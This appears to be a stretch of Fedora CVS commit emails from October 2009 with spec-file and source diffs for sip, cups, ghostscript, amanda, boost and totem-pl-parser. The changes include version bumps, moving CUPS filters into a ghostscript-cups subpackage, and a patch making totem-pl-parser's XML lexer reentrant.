RCS file: /cvs/pkgs/rpms/sip/devel/sip.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- sip.spec	10 Aug 2009 10:06:00 -0000	1.64
+++ sip.spec	15 Oct 2009 12:42:52 -0000	1.65
@@ -4,14 +4,12 @@
 
 Summary: SIP - Python/C++ Bindings Generator
 Name: sip
-Version: 4.8.2
-Release: 2%{?dist}
-# http://www.riverbankcomputing.com/Docs/sip4/sipref.html#license
-License: Python
+Version: 4.9
+Release: 1%{?dist}
+License: GPLv2 or GPLv3
 Group: Development/Tools
 Url: http://www.riverbankcomputing.com/software/sip/intro 
-Source0: http://www.riverbankcomputing.com/static/Downloads/sip4/sip-%{version}.tar.gz
-#Source0:  http://www.riverbankcomputing.com/static/Downloads/sip4/sip-%{version}-snapshot-%{snap}.tar.gz
+Source0: http://www.riverbankcomputing.com/static/Downloads/sip4/sip-%{version}%{?snap:-snapshot-%{snap}}.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: python-devel
@@ -64,6 +62,7 @@ rm -rf %{buildroot}
 %files
 %defattr(-,root,root,-)
 %doc ChangeLog LICENSE NEWS README
+%doc LICENSE-GPL2.txt LICENSE-GPL3.txt
 %{python_sitearch}/*
 %{_bindir}/*
 
@@ -74,6 +73,10 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.9-1
+- sip-4.9
+- License: GPLv2 or GPLv3
+
 * Mon Aug 10 2009 Ville Skytt? <ville.skytta at iki.fi> - 4.8.2-2
 - Convert specfile to UTF-8.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sip/devel/sources,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- sources	28 Jul 2009 12:55:58 -0000	1.31
+++ sources	15 Oct 2009 12:42:52 -0000	1.32
@@ -1 +1 @@
-7ae60712aa6b4095a8cdab11b437f8f0  sip-4.8.2.tar.gz
+caf83cde684dbf7aeeb9c4447d54b98d  sip-4.9.tar.gz



From twaugh at fedoraproject.org  Thu Oct 15 12:45:35 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Thu, 15 Oct 2009 12:45:35 +0000 (UTC)
Subject: rpms/cups/devel cups.spec, 1.526, 1.527 pstoraster, 1.4,
	NONE pstoraster.convs, 1.1, NONE
Message-ID: <20091015124535.95E4C11C00DB@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/cups/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23821

Modified Files:
	cups.spec 
Removed Files:
	pstoraster pstoraster.convs 
Log Message:
* Thu Oct 15 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-10
- Don't ship pstoraster -- it is now provided by the ghostscript-cups
  package.



Index: cups.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cups/devel/cups.spec,v
retrieving revision 1.526
retrieving revision 1.527
diff -u -p -r1.526 -r1.527
--- cups.spec	8 Oct 2009 10:40:12 -0000	1.526
+++ cups.spec	15 Oct 2009 12:45:35 -0000	1.527
@@ -9,7 +9,7 @@
 Summary: Common Unix Printing System
 Name: cups
 Version: 1.4.1
-Release: 9%{?dist}
+Release: 10%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source: http://ftp.easysw.com/pub/cups/1.4.0/cups-%{version}-source.tar.bz2
@@ -18,8 +18,6 @@ Source2: cupsprinter.png
 Source3: cups-libusb.rules
 Source4: pstopdf
 Source5: cups-lpd
-Source6: pstoraster
-Source7: pstoraster.convs
 Source8: postscript.ppd.gz
 Source9: cups.logrotate
 Source10: ncp.backend
@@ -296,10 +294,6 @@ install -c -m 644 %{SOURCE15} $RPM_BUILD
 install -c -m 755 %{SOURCE4} $RPM_BUILD_ROOT%{cups_serverbin}/filter
 %endif
 
-# Ship pstoraster (bug #69573).
-install -c -m 755 %{SOURCE6} $RPM_BUILD_ROOT%{cups_serverbin}/filter
-install -c -m 644 %{SOURCE7} $RPM_BUILD_ROOT%{_sysconfdir}/cups
-
 # Ship a generic postscript PPD file (#73061)
 install -c -m 644 postscript.ppd.gz $RPM_BUILD_ROOT%{_datadir}/cups/model
 
@@ -416,7 +410,6 @@ rm -rf $RPM_BUILD_ROOT
 %verify(not md5 size mtime) %config(noreplace) %attr(0644,root,lp) /etc/cups/lpoptions
 %dir %attr(0755,root,lp) /etc/cups/ppd
 %dir %attr(0700,root,lp) /etc/cups/ssl
-/etc/cups/pstoraster.convs
 %config(noreplace) /etc/pam.d/cups
 %config(noreplace) %{_sysconfdir}/logrotate.d/cups
 %config(noreplace) %{_sysconfdir}/portreserve/%{name}
@@ -514,6 +507,10 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/phpcups.so
 
 %changelog
+* Thu Oct 15 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-10
+- Don't ship pstoraster -- it is now provided by the ghostscript-cups
+  package.
+
 * Thu Oct  8 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-9
 - Fixed naming of 'Generic PostScript Printer' entry.
 


--- pstoraster DELETED ---


--- pstoraster.convs DELETED ---



From twaugh at fedoraproject.org  Thu Oct 15 12:52:20 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Thu, 15 Oct 2009 12:52:20 +0000 (UTC)
Subject: rpms/ghostscript/devel ghostscript-cups-filters.patch, NONE,
	1.1 ghostscript.spec, 1.193, 1.194
Message-ID: <20091015125220.DDFE711C00DB@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/ghostscript/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25218

Modified Files:
	ghostscript.spec 
Added Files:
	ghostscript-cups-filters.patch 
Log Message:
* Thu Oct 15 2009 Tim Waugh <twaugh at redhat.com> 8.70-2
- New cups sub-package for pstoraster/pdftoraster/pstopxl.


ghostscript-cups-filters.patch:
 cups.mak |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE ghostscript-cups-filters.patch ---
diff -up ghostscript-8.70/cups/cups.mak.cups-filters ghostscript-8.70/cups/cups.mak
--- ghostscript-8.70/cups/cups.mak.cups-filters	2009-10-15 12:42:27.531402610 +0100
+++ ghostscript-8.70/cups/cups.mak	2009-10-15 12:44:14.835402533 +0100
@@ -63,10 +63,10 @@ install-cups: cups
 	    $(INSTALL_PROGRAM) $(PDFTORASTER_XE) $(DESTDIR)$(CUPSSERVERBIN)/filter; \
 	fi
 	$(INSTALL_PROGRAM) cups/pstopxl $(DESTDIR)$(CUPSSERVERBIN)/filter
-	-mkdir -p $(DESTDIR)$(CUPSSERVERROOT)
-	$(INSTALL_DATA) cups/pstoraster.convs $(DESTDIR)$(CUPSSERVERROOT)
+	-mkdir -p $(DESTDIR)$(CUPSDATA)/mime
+	$(INSTALL_DATA) cups/pstoraster.convs $(DESTDIR)$(CUPSDATA)/mime
 	if [ "$(CUPSPDFTORASTER)" = "1" ]; then \
-	    $(INSTALL_DATA) cups/pdftoraster.convs $(DESTDIR)$(CUPSSERVERROOT); \
+	    $(INSTALL_DATA) cups/pdftoraster.convs $(DESTDIR)$(CUPSDATA)/mime; \
 	fi
 	-mkdir -p $(DESTDIR)$(CUPSDATA)/model
 	$(INSTALL_DATA) cups/pxlcolor.ppd $(DESTDIR)$(CUPSDATA)/model


Index: ghostscript.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ghostscript/devel/ghostscript.spec,v
retrieving revision 1.193
retrieving revision 1.194
diff -u -p -r1.193 -r1.194
--- ghostscript.spec	3 Aug 2009 17:27:32 -0000	1.193
+++ ghostscript.spec	15 Oct 2009 12:52:20 -0000	1.194
@@ -5,7 +5,7 @@ Summary: A PostScript interpreter and re
 Name: ghostscript
 Version: %{gs_ver}
 
-Release: 1%{?dist}
+Release: 2%{?dist}
 
 # Included CMap data is Redistributable, no modification permitted,
 # see http://bugzilla.redhat.com/487510
@@ -25,6 +25,7 @@ Patch6: ghostscript-system-jasper.patch
 Patch7: ghostscript-pksmraw.patch
 Patch8: ghostscript-jbig2dec-nullderef.patch
 Patch9: ghostscript-gs-executable.patch
+Patch10: ghostscript-cups-filters.patch
 
 Requires: urw-fonts >= 1.1, ghostscript-fonts
 BuildRequires: xz
@@ -85,6 +86,15 @@ Group: Applications/Publishing
 %description gtk
 A GTK-enabled version of Ghostscript, called 'gsx'.
 
+%package cups
+Summary: CUPS filter for interpreting PostScript and PDF
+Requires: %{name} = %{version}-%{release}
+Requires: cups
+Group: System Environment/Daemons
+
+%description cups
+CUPS filter and conversion rules for interpreting PostScript and PDF.
+
 %prep
 %setup -q -n %{name}-%{gs_ver}
 rm -rf libpng zlib jpeg jasper
@@ -115,6 +125,9 @@ rm -rf libpng zlib jpeg jasper
 # Fix scripts so they don't get broken on install (bug #502550).
 %patch9 -p1 -b .gs-executable
 
+# Install CUPS filter convs files in the correct place.
+%patch10 -p1 -b .cups-filters
+
 # Convert manual pages to UTF-8
 from8859_1() {
 	iconv -f iso-8859-1 -t utf-8 < "$1" > "${1}_"
@@ -218,11 +231,6 @@ rm -f $RPM_BUILD_ROOT%{_libdir}/pkgconfi
 # Don't ship ijs example client or server
 rm -f $RPM_BUILD_ROOT%{_bindir}/ijs_{client,server}_example
 
-# Don't ship files that get shipped in the cups package.
-rm -rf $RPM_BUILD_ROOT%{_sysconfdir}/cups
-rm -f $RPM_BUILD_ROOT%{_libdir}/cups/filter/pstoraster
-rm -f $RPM_BUILD_ROOT/usr/lib/cups/filter/pstoraster
-
 # Don't ship URW fonts; we already have them.
 rm -rf $RPM_BUILD_ROOT%{_datadir}/ghostscript/%{gs_dot_ver}/Resource/Font
 
@@ -270,10 +278,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libijs-*.so*
 %dir %{_libdir}/%{name}
 %{_libdir}/%{name}/%{gs_dot_ver}
-/usr/lib/cups/filter/pstopxl
-%{_datadir}/cups/model/pxl*
 %config(noreplace) /etc/ghostscript/%{gs_dot_ver}/*
-/usr/lib/cups/filter/pdftoraster
 
 %files doc
 %defattr(-,root,root)
@@ -284,6 +289,14 @@ rm -rf $RPM_BUILD_ROOT
 %defattr(-,root,root)
 %{_bindir}/gsx
 
+%files cups
+%defattr(-,root,root)
+%{_datadir}/cups/model/pxl*
+%{_datadir}/cups/mime/*.convs
+# This really is /usr/lib, not _libdir -- it's more of a libexec usage
+# but upstream CUPS won't use libexec.
+/usr/lib/cups/filter/*
+
 %files devel
 %defattr(-,root,root)
 %dir %{_includedir}/ghostscript
@@ -296,6 +309,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libgs.so
 
 %changelog
+* Thu Oct 15 2009 Tim Waugh <twaugh at redhat.com> 8.70-2
+- New cups sub-package for pstoraster/pdftoraster/pstopxl.
+
 * Mon Aug  3 2009 Tim Waugh <twaugh at redhat.com> 8.70-1
 - 8.70.
 - License has changed to GPLv3+.  Packages containing programs that



From dnovotny at fedoraproject.org  Thu Oct 15 12:56:18 2009
From: dnovotny at fedoraproject.org (Daniel Novotny)
Date: Thu, 15 Oct 2009 12:56:18 +0000 (UTC)
Subject: rpms/amanda/devel amanda.spec,1.64,1.65
Message-ID: <20091015125618.508C311C00DB@cvs1.fedora.phx.redhat.com>

Author: dnovotny

Update of /cvs/extras/rpms/amanda/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26004

Modified Files:
	amanda.spec 
Log Message:
add amanda user to group "tape" (#529159)



Index: amanda.spec
===================================================================
RCS file: /cvs/extras/rpms/amanda/devel/amanda.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- amanda.spec	21 Aug 2009 12:22:06 -0000	1.64
+++ amanda.spec	15 Oct 2009 12:56:18 -0000	1.65
@@ -7,7 +7,7 @@
 Summary: A network-capable tape backup solution
 Name: amanda
 Version: 2.6.0p2
-Release: 13%{?dist}
+Release: 14%{?dist}
 Source: http://downloads.sourceforge.net/amanda/amanda-%{version}.tar.gz
 #Source: http://www.zmanda.com/downloads/community/community-builds/amanda-%{version}.tar.gz
 Source1: amanda.crontab
@@ -173,6 +173,7 @@ mv /var/spool/cron/amanda /var/spool/cro
 
 /usr/sbin/useradd -M -N -g %amanda_group -o -r -d %{_localstatedir}/lib/amanda -s /bin/bash \
 	-c "Amanda user" -u 33 %amanda_user >/dev/null 2>&1 || :
+/usr/bin/gpasswd -a %amanda_user tape >/dev/null 2>&1 || :
 
 %post
 /sbin/ldconfig
@@ -379,6 +380,9 @@ grep -l -E '^dumpuser[[:blank:]]*"amanda
 %{_libdir}/libamandad.so
 
 %changelog
+* Thu Oct 15 2009 Daniel Novotny <dnovotny at redhat.com> 2.6.0p2-14
+- add amanda user to group "tape" (#529159)
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 2.6.0p2-13
 - rebuilt with new openssl
 



From pmachata at fedoraproject.org  Thu Oct 15 13:01:01 2009
From: pmachata at fedoraproject.org (Petr Machata)
Date: Thu, 15 Oct 2009 13:01:01 +0000 (UTC)
Subject: rpms/boost/F-12 boost.spec,1.67,1.68
Message-ID: <20091015130101.2DEFE11C00DB@cvs1.fedora.phx.redhat.com>

Author: pmachata

Update of /cvs/pkgs/rpms/boost/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26887

Modified Files:
	boost.spec 
Log Message:
- Package index.html in the -doc subpackage
- Resolves: #529030



Index: boost.spec
===================================================================
RCS file: /cvs/pkgs/rpms/boost/F-12/boost.spec,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- boost.spec	14 Oct 2009 12:24:34 -0000	1.67
+++ boost.spec	15 Oct 2009 13:01:00 -0000	1.68
@@ -1,7 +1,7 @@
 Name: boost
 Summary: The Boost C++ Libraries
 Version: 1.39.0
-Release: 7%{?dist}
+Release: 8%{?dist}
 License: Boost
 URL: http://www.boost.org/
 Group: System Environment/Libraries
@@ -344,7 +344,7 @@ cat tmp-doc-directories | while read a; 
     | xargs install -m 644 -p -t $DOCPATH$a
 done
 rm tmp-doc-directories
-install -p -m 644 -t $DOCPATH LICENSE_1_0.txt index.htm
+install -p -m 644 -t $DOCPATH LICENSE_1_0.txt index.htm index.html
 
 # remove scripts used to generate include files
 find $RPM_BUILD_ROOT%{_includedir}/ \( -name '*.pl' -o -name '*.sh' \) -exec rm {} \;
@@ -446,6 +446,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.a
 
 %changelog
+* Thu Oct 15 2009 Petr Machata <pmachata at redhat.com> - 1.39.0-8
+- Package index.html in the -doc subpackage
+- Resolves: #529030
+
 * Wed Oct 14 2009 Petr Machata <pmachata at redhat.com> - 1.39.0-7
 - Several fixes to support PySide
 - Resolves: #520087



From dnovotny at fedoraproject.org  Thu Oct 15 13:07:36 2009
From: dnovotny at fedoraproject.org (Daniel Novotny)
Date: Thu, 15 Oct 2009 13:07:36 +0000 (UTC)
Subject: rpms/amanda/F-11 amanda.spec,1.59,1.60
Message-ID: <20091015130736.81E5E11C00DB@cvs1.fedora.phx.redhat.com>

Author: dnovotny

Update of /cvs/extras/rpms/amanda/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28925

Modified Files:
	amanda.spec 
Log Message:
add amanda user to group "tape" (#529159)



Index: amanda.spec
===================================================================
RCS file: /cvs/extras/rpms/amanda/F-11/amanda.spec,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- amanda.spec	14 Apr 2009 14:40:46 -0000	1.59
+++ amanda.spec	15 Oct 2009 13:07:36 -0000	1.60
@@ -7,7 +7,7 @@
 Summary: A network-capable tape backup solution
 Name: amanda
 Version: 2.6.0p2
-Release: 8%{?dist}
+Release: 9%{?dist}
 Source: http://downloads.sourceforge.net/amanda/amanda-%{version}.tar.gz
 #Source: http://www.zmanda.com/downloads/community/community-builds/amanda-%{version}.tar.gz
 Source1: amanda.crontab
@@ -169,6 +169,7 @@ mv /var/spool/cron/amanda /var/spool/cro
 
 /usr/sbin/useradd -M -N -g %amanda_group -o -r -d %{_localstatedir}/lib/amanda -s /bin/bash \
 	-c "Amanda user" -u 33 %amanda_user >/dev/null 2>&1 || :
+/usr/bin/gpasswd -a %amanda_user tape >/dev/null 2>&1 || :
 
 %post
 /sbin/ldconfig
@@ -375,6 +376,9 @@ grep -l -E '^dumpuser[[:blank:]]*"amanda
 %{_libdir}/libamandad.so
 
 %changelog
+* Thu Oct 15 2009 Daniel Novotny <dnovotny at redhat.com> 2.6.0p2-9
+- add amanda user to group "tape" (#529159)
+
 * Tue Apr 14 2009 Daniel Novotny <dnovotny at redhat.com> 2.6.0p2-8
 - fix #495724 (spec file fix, use "useradd -N" instead of "useradd -n") 
 



From hadess at fedoraproject.org  Thu Oct 15 13:14:16 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu, 15 Oct 2009 13:14:16 +0000 (UTC)
Subject: rpms/totem-pl-parser/F-12 reentrant.patch, NONE,
	1.1 totem-pl-parser.spec, 1.47, 1.48
Message-ID: <20091015131416.E446311C00DB@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/totem-pl-parser/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30319

Modified Files:
	totem-pl-parser.spec 
Added Files:
	reentrant.patch 
Log Message:
* Thu Oct 15 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-2
- Fix crasher when parsing multiple XML-ish playlists in Rhythmbox


reentrant.patch:
 totem-pl-parser.c |   15 +++--
 xmllexer.c        |  158 +++++++++++++++++++++++++-----------------------------
 xmllexer.h        |   21 ++++++-
 xmlparser.c       |   40 +++++++------
 xmlparser.h       |   12 +++-
 5 files changed, 136 insertions(+), 110 deletions(-)

--- NEW FILE reentrant.patch ---
only in patch2:
unchanged:
--- totem-pl-parser-2.28.1.orig/plparse/xmllexer.h
+++ totem-pl-parser-2.28.1/plparse/xmllexer.h
@@ -51,9 +51,26 @@
 #define T_CDATA_STOP    19   /* ]]> */
 
 
+/* public structures */
+struct lexer
+{
+  const char * lexbuf;
+  int lexbuf_size;
+  int lexbuf_pos;
+  int in_comment;
+  char * lex_malloc;
+  enum {
+    NORMAL,
+    DATA,
+    CDATA,
+  } lex_mode;
+};
+
+
 /* public functions */
-void lexer_init(const char * buf, int size) XINE_PROTECTED;
-int lexer_get_token(char * tok, int tok_size) XINE_PROTECTED;
+struct lexer *lexer_init(const char * buf, int size) XINE_PROTECTED;
+void lexer_finalize(struct lexer * lexer) XINE_PROTECTED;
+int lexer_get_token(struct lexer * lexer, char * tok, int tok_size) XINE_PROTECTED;
 char *lexer_decode_entities (const char *tok) XINE_PROTECTED;
 
 #endif
only in patch2:
unchanged:
--- totem-pl-parser-2.28.1.orig/plparse/xmlparser.c
+++ totem-pl-parser-2.28.1/plparse/xmlparser.c
@@ -51,9 +51,6 @@
 #define DATA_SIZE   64 * 1024
 #define MAX_RECURSION 23
 
-/* private global variables */
-static int xml_parser_mode;
-
 /* private functions */
 
 static char * strtoupper(char * str) {
@@ -103,10 +100,17 @@
   free(property);
 }
 
-void xml_parser_init(const char * buf, int size, int mode) {
+xml_parser_t *xml_parser_init(const char * buf, int size, int mode) {
+  xml_parser_t *xml_parser = malloc(sizeof(xml_parser_t));
+  xml_parser->lexer = lexer_init(buf, size);
+  xml_parser->mode = mode;
+  return xml_parser;
+}
 
-  lexer_init(buf, size);
-  xml_parser_mode = mode;
+void xml_parser_finalize(xml_parser_t *xml_parser)
+{
+  lexer_finalize(xml_parser->lexer);
+  free(xml_parser);
 }
 
 static void xml_parser_free_props(xml_property_t *current_property) {
@@ -220,7 +224,7 @@
 
 #define Q_STATE(CURRENT,NEW) (STATE_##NEW + state - STATE_##CURRENT)
 
-static int xml_parser_get_node_internal (xml_node_t *current_node, char *root_names[], int rec, int flags)
+static int xml_parser_get_node_internal (xml_parser_t *xml_parser, xml_node_t *current_node, char *root_names[], int rec, int flags)
 {
   char tok[TOKEN_SIZE];
   char property_name[TOKEN_SIZE];
@@ -239,7 +243,7 @@
 
     memset (tok, 0, TOKEN_SIZE);
 
-    while ((bypass_get_token) || (res = lexer_get_token(tok, TOKEN_SIZE)) != T_ERROR) {
+    while ((bypass_get_token) || (res = lexer_get_token(xml_parser->lexer, tok, TOKEN_SIZE)) != T_ERROR) {
       bypass_get_token = 0;
       lprintf("info: %d - %d : '%s'\n", state, res, tok);
 
@@ -295,7 +299,7 @@
 	  current_property = NULL;
 
 	  /* save node name */
-	  if (xml_parser_mode == XML_PARSER_CASE_INSENSITIVE) {
+	  if (xml_parser->mode == XML_PARSER_CASE_INSENSITIVE) {
 	    strtoupper(tok);
 	  }
 	  if (state == STATE_Q_NODE) {
@@ -331,7 +335,7 @@
 	  subtree->props = properties;
 	  lprintf("info: rec %d new subtree %s\n", rec, node_name);
 	  root_names[rec + 1] = node_name;
-	  parse_res = xml_parser_get_node_internal(subtree, root_names, rec + 1, flags);
+	  parse_res = xml_parser_get_node_internal(xml_parser, subtree, root_names, rec + 1, flags);
 	  if (parse_res == -1 || parse_res > 0) {
 	    return parse_res;
 	  }
@@ -374,7 +378,7 @@
 	case (T_IDENT):
 	  /* save property name */
 	  new_prop:
-	  if (xml_parser_mode == XML_PARSER_CASE_INSENSITIVE) {
+	  if (xml_parser->mode == XML_PARSER_CASE_INSENSITIVE) {
 	    strtoupper(tok);
 	  }
 	  strcpy(property_name, tok);
@@ -409,7 +413,7 @@
 	switch (res) {
 	case (T_IDENT):
 	  /* must be equal to root_name */
-	  if (xml_parser_mode == XML_PARSER_CASE_INSENSITIVE) {
+	  if (xml_parser->mode == XML_PARSER_CASE_INSENSITIVE) {
 	    strtoupper(tok);
 	  }
 	  if (strcmp(tok, root_names[rec]) == 0) {
@@ -621,19 +625,19 @@
   }
 }
 
-static int xml_parser_get_node (xml_node_t *current_node, int flags)
+static int xml_parser_get_node (xml_parser_t *xml_parser, xml_node_t *current_node, int flags)
 {
   char *root_names[MAX_RECURSION + 1];
   root_names[0] = "";
-  return xml_parser_get_node_internal (current_node, root_names, 0, flags);
+  return xml_parser_get_node_internal (xml_parser, current_node, root_names, 0, flags);
 }
 
-int xml_parser_build_tree_with_options(xml_node_t **root_node, int flags) {
+int xml_parser_build_tree_with_options(xml_parser_t *xml_parser, xml_node_t **root_node, int flags) {
   xml_node_t *tmp_node, *pri_node, *q_node;
   int res;
 
   tmp_node = new_xml_node();
-  res = xml_parser_get_node(tmp_node, flags);
+  res = xml_parser_get_node(xml_parser, tmp_node, flags);
 
   /* delete any top-level [CDATA] nodes */;
   pri_node = tmp_node->child;
@@ -676,8 +680,8 @@
   return res;
 }
 
-int xml_parser_build_tree(xml_node_t **root_node) {
-  return xml_parser_build_tree_with_options (root_node, 0);
+int xml_parser_build_tree(xml_parser_t *xml_parser, xml_node_t **root_node) {
+  return xml_parser_build_tree_with_options (xml_parser, root_node, 0);
 }
 
 const char *xml_parser_get_property (const xml_node_t *node, const char *name) {
only in patch2:
unchanged:
--- totem-pl-parser-2.28.1.orig/plparse/totem-pl-parser.c
+++ totem-pl-parser-2.28.1/plparse/totem-pl-parser.c
@@ -1676,11 +1676,16 @@
 	xml_node_t* doc, *node;
 	char *encoding, *new_contents;
 	gsize new_size;
+	xml_parser_t *xml_parser;
 
 	totem_pl_parser_cleanup_xml (contents);
-	xml_parser_init (contents, size, XML_PARSER_CASE_INSENSITIVE);
-	if (xml_parser_build_tree_with_options (&doc, XML_PARSER_RELAXED | XML_PARSER_MULTI_TEXT) < 0)
+	xml_parser = xml_parser_init (contents, size, XML_PARSER_CASE_INSENSITIVE);
+	if (xml_parser_build_tree_with_options (xml_parser, &doc, XML_PARSER_RELAXED | XML_PARSER_MULTI_TEXT) < 0) {
+		xml_parser_finalize (xml_parser);
 		return NULL;
+	}
+
+	xml_parser_finalize (xml_parser);
 
 	encoding = NULL;
 	for (node = doc; node != NULL; node = node->next) {
@@ -1705,12 +1710,14 @@
 	}
 	g_free (encoding);
 
-	xml_parser_init (new_contents, new_size, XML_PARSER_CASE_INSENSITIVE);
-	if (xml_parser_build_tree_with_options (&doc, XML_PARSER_RELAXED | XML_PARSER_MULTI_TEXT) < 0) {
+	xml_parser = xml_parser_init (new_contents, new_size, XML_PARSER_CASE_INSENSITIVE);
+	if (xml_parser_build_tree_with_options (xml_parser, &doc, XML_PARSER_RELAXED | XML_PARSER_MULTI_TEXT) < 0) {
+		xml_parser_finalize (xml_parser);
 		g_free (new_contents);
 		return NULL;
 	}
 
+	xml_parser_finalize (xml_parser);
 	g_free (new_contents);
 
 	return doc;
only in patch2:
unchanged:
--- totem-pl-parser-2.28.1.orig/plparse/xmlparser.h
+++ totem-pl-parser-2.28.1/plparse/xmlparser.h
@@ -65,10 +65,16 @@
 	struct xml_node_s *next;
 } xml_node_t;
 
-void xml_parser_init(const char * buf, int size, int mode) XINE_PROTECTED;
+typedef struct xml_parser_s {
+	struct lexer *lexer;
+	int mode;
+} xml_parser_t;
 
-int xml_parser_build_tree(xml_node_t **root_node) XINE_PROTECTED;
-int xml_parser_build_tree_with_options(xml_node_t **root_node, int flags) XINE_PROTECTED;
+xml_parser_t *xml_parser_init(const char * buf, int size, int mode) XINE_PROTECTED;
+void xml_parser_finalize(xml_parser_t *xml_parser) XINE_PROTECTED;
+
+int xml_parser_build_tree(xml_parser_t *xml_parser, xml_node_t **root_node) XINE_PROTECTED;
+int xml_parser_build_tree_with_options(xml_parser_t *xml_parser, xml_node_t **root_node, int flags) XINE_PROTECTED;
 
 void xml_parser_free_tree(xml_node_t *root_node) XINE_PROTECTED;
 
only in patch2:
unchanged:
--- totem-pl-parser-2.28.1.orig/plparse/xmllexer.c
+++ totem-pl-parser-2.28.1/plparse/xmllexer.c
@@ -44,16 +44,9 @@
 
 /* private constants*/
 
-/* private global variables */
-static const char * lexbuf;
-static int lexbuf_size = 0;
-static int lexbuf_pos  = 0;
-static int in_comment  = 0;
-static char *lex_malloc = NULL;
-
 enum utf { UTF32BE, UTF32LE, UTF16BE, UTF16LE };
 
-static void lex_convert (const char * buf, int size, enum utf utf)
+static void lex_convert (struct lexer * lexer, const char * buf, int size, enum utf utf)
 {
   char *utf8 = malloc (size * (utf >= UTF16BE ? 3 : 6) + 1);
   char *bp = utf8;
@@ -85,45 +78,44 @@
     }
   }
   *bp = 0;
-  lexbuf_size = bp - utf8;
-  lexbuf = lex_malloc = realloc (utf8, lexbuf_size + 1);
+  lexer->lexbuf_size = bp - utf8;
+  lexer->lexbuf = lexer->lex_malloc = realloc (utf8, lexer->lexbuf_size + 1);
 }
 
-static enum {
-  NORMAL,
-  DATA,
-  CDATA,
-} lex_mode = NORMAL;
-
-void lexer_init(const char * buf, int size) {
+struct lexer *lexer_init(const char * buf, int size) {
   static const char boms[] = { 0xFF, 0xFE, 0, 0, 0xFE, 0xFF },
 		    bom_utf8[] = { 0xEF, 0xBB, 0xBF };
+  struct lexer * lexer = calloc (1, sizeof (*lexer));
 
-  free (lex_malloc);
-  lex_malloc = NULL;
-
-  lexbuf      = buf;
-  lexbuf_size = size;
+  lexer->lexbuf      = buf;
+  lexer->lexbuf_size = size;
 
   if (size >= 4 && !memcmp (buf, boms + 2, 4))
-    lex_convert (buf + 4, size - 4, UTF32BE);
+    lex_convert (lexer, buf + 4, size - 4, UTF32BE);
   else if (size >= 4 && !memcmp (buf, boms, 4))
-    lex_convert (buf + 4, size - 4, UTF32LE);
+    lex_convert (lexer, buf + 4, size - 4, UTF32LE);
   else if (size >= 3 && !memcmp (buf, bom_utf8, 3))
   {
-    lexbuf += 3;
-    lexbuf_size -= 3;
+    lexer->lexbuf += 3;
+    lexer->lexbuf_size -= 3;
   }
   else if (size >= 2 && !memcmp (buf, boms + 4, 2))
-    lex_convert (buf + 2, size - 2, UTF16BE);
+    lex_convert (lexer, buf + 2, size - 2, UTF16BE);
   else if (size >= 2 && !memcmp (buf, boms, 2))
-    lex_convert (buf + 2, size - 2, UTF16LE);
+    lex_convert (lexer, buf + 2, size - 2, UTF16LE);
 
-  lexbuf_pos  = 0;
-  lex_mode    = NORMAL;
-  in_comment  = 0;
+  lexer->lexbuf_pos  = 0;
+  lexer->lex_mode    = NORMAL;
+  lexer->in_comment  = 0;
 
   lprintf("buffer length %d\n", size);
+  return lexer;
+}
+
+void lexer_finalize(struct lexer * lexer)
+{
+  free (lexer->lex_malloc);
+  free (lexer);
 }
 
 typedef enum {
@@ -144,17 +136,17 @@
   STATE_IDENT /* must be last */
 } lexer_state_t;
 
-int lexer_get_token(char * tok, int tok_size) {
+int lexer_get_token(struct lexer * lexer, char * tok, int tok_size) {
   int tok_pos = 0;
   lexer_state_t state = STATE_IDLE;
   char c;
 
   if (tok) {
-    while ((tok_pos < tok_size) && (lexbuf_pos < lexbuf_size)) {
-      c = lexbuf[lexbuf_pos];
-      lprintf("c=%c, state=%d, lex_mode=%d, in_comment=%d\n", c, state, lex_mode, in_comment);
+    while ((tok_pos < tok_size) && (lexer->lexbuf_pos < lexer->lexbuf_size)) {
+      c = lexer->lexbuf[lexer->lexbuf_pos];
+      lprintf("c=%c, state=%d, lex_mode=%d, lexer->in_comment=%d\n", c, state, lexer->lex_mode, lexer->in_comment);
 
-      switch (lex_mode) {
+      switch (lexer->lex_mode) {
       case NORMAL:
 	switch (state) {
 	  /* init state */
@@ -187,7 +179,7 @@
 	    break;
 
 	  case '/':
-	    if (!in_comment) 
+	    if (!lexer->in_comment) 
 	      state = STATE_T_M_STOP_2;
 	    tok[tok_pos] = c;
 	    tok_pos++;
